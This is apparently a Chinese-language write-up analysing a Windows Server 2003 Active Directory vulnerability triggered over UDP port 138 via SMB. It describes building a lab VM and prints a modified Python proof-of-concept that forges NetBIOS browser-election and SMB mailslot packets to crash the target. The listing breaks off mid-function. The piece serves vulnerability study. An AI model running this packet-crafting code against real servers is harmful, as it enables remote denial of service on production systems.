不久以前,在2月20日的时候,突然接到一个漏洞分析的任务,当时上网一查在exploit
上已经发出了POC,事实上输入关键词能够在各处网站找到一样的POC。可能由于漏洞危害有
点广并且很严重,事实上微软早在 2 月 7 日就已经“悄悄”发出了补丁,而在 14 日的时候
exploit 网上才公布该漏洞的 POC 。有关漏洞的信息在 Exploit 网上,网址
是:http://www.exploit-db.com/exploits/16166/,相信大家根据里面提到的关键词,也
能在网上找到许多相关内容。
下面来看看这个漏洞,根据网上几乎千篇一律的转载POC和环境说明,我自己搭建了一
个测试环境: Win Server 2003虚拟机, POC 代码, Python相关编译工具(我用的Python 2.7)。
首先,安装要求我们需要在Windows Server 2003中安装AD(活动目录),这个可以在
控制面板中通过Win2003的光盘安装。在安装的过程中,我将活动目录的域名命名为ISC (这
个随意,但是得自己记住)。活动目录是一个应用广泛的东西,例如在银行内部,还有一些
服务器上,往往都离不开它,所以这个漏洞可以针对的范围应该比较广泛。另外 AD 目录会
打开主机的138端口,这就是漏洞触发的一个关键位置,异构的数据包通过该端口传入,并
由 SMB处理最后导致系统死机。
其次是,这里的POC 代码我们需要按照实际的网络情况进行简单的修改,修改后的代码
(黑体部分为自己添加的注释)所示如下:
漏洞触发代码(有修改):
import socket,sys,struct
from socket import *
if len(sys.argv)<=4:
sys.exit("""usage: python sploit.py UR-IP BCAST-IP NBT-NAME AD-NAME
example: python sploit.py 192.168.1.10 192.168.1.255 OhYeah
AD-NETBIOS-NAME""")
ourip = sys.argv[1] #本机的 IP
host = sys.argv[2] #远程主机的 IP
srcname = sys.argv[3].upper() #远程主机用户名
dstname = sys.argv[4].upper() #远程主机的域名
ELEC = "\x42\x4f\x00"
WREDIR = "\x41\x41\x00"
def encodename(nbt,service):
final = '\x20'+''.join([chr((ord(i)>>4) + ord('A'))+chr((ord(i)&0xF) +
ord('A')) for i in nbt])+((15 - len(nbt)) * str('\x43\x41'))+service
return final
def lengthlittle(packet,addnum):
length = struct.pack("<i", len(packet)+addnum)[0:2]
return length
def lengthbig(packet,addnum):
length = struct.pack(">i", len(packet)+addnum)[2:4]
return length
def election(srcname):
elec = "\x08"
elec+= "\x09" #Be the boss or die
elec+= "\xa8\x0f\x01\x20" #Be the boss or die
elec+= "\x1b\xe9\xa5\x00" #Up time
elec+= "\x00\x00\x00\x00" #Null, like SDLC
elec+= srcname+"\x00"
return elec
def smbheaderudp(op="\x25"): #构造 SMB 头部
smbheader= "\xff\x53\x4d\x42"
smbheader+= op
smbheader+= "\x00"
smbheader+= "\x00"
smbheader+= "\x00\x00"
smbheader+= "\x00"
smbheader+= "\x00\x00"
smbheader+= "\x00\x00"
smbheader+= "\x00\x00\x00\x00\x00\x00\x00\x00"
smbheader+= "\x00\x00"
smbheader+= "\x00\x00"
smbheader+= "\x00\x00"
smbheader+= "\x00\x00"
smbheader+= "\x00\x00"
return smbheader
def
trans2mailslot(tid="\x80\x0b",ip=ourip,sname="LOVE-SDL",dname="SRD-LOVE",na |